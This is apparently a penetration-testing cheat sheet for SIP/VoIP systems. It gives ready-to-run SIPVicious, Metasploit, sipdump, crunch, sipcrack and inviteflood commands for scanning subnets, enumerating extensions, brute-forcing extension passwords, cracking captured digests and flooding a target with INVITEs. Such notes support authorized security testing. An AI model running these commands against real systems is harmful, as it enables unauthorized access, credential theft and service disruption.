Resources

Cheat sheets

Dependencies

  • SIPVicious
    • A suite of tools for auditing SIP-based VoIP systems.
      pip install sipvicious
  • Viproy VoIP Kit
    git clone https://github.com/fozavci/viproy-voipkit.git
  • Password & Wordlist Tools
    • sipcrack: For offline cracking of captured SIP digests.
    • crunch: A powerful tool for generating custom wordlists.

Commands

  • Scan for SIP Services
    • sipvicious_svmap
      sipvicious_svmap 192.168.99.0/24 -P 50 -s session_me
      sipvicious_svmap 10.0.50.0/24 -P 50 | awk -F'[: ]+' '/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:/ {print $2}' #Hosts 
    • MSF
      msf > use auxiliary/scanner/sip/options
      
  • Enumerate Extensions
    • sipvicious_svwar
      sipvicious_svwar -P 50 -e320,330 192.168.99.20 -m INVITE -v
      cat hosts | awk -F'[: ]+' '/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:/ {print $2}' # Extract IP's from the output
      cat ips.txt | xargs -I {} sipvicious_svwar -P 50 {} -e999-9999 -m OPTIONS -v
  • Brute-Force Extension Passwords
    • Use sipvicious_svcrack to perform a dictionary attack against a specific user extension.
      sipvicious_svcrack -u 320 -d pass.txt 192.168.99.20 -v
  • Offline Cracking
    • sipdump
      sipdump -p Registration_success.pcap dumpme
    • crunch
      crunch 10 10 321abc_ > wordlist
    • sipcrack
      sipcrack -w /root/Trash/wordlist dumpme
    • inviteflood
      inviteflood eth1 320 192.168.99.2 192.168.99.20 10000

Tools

Notes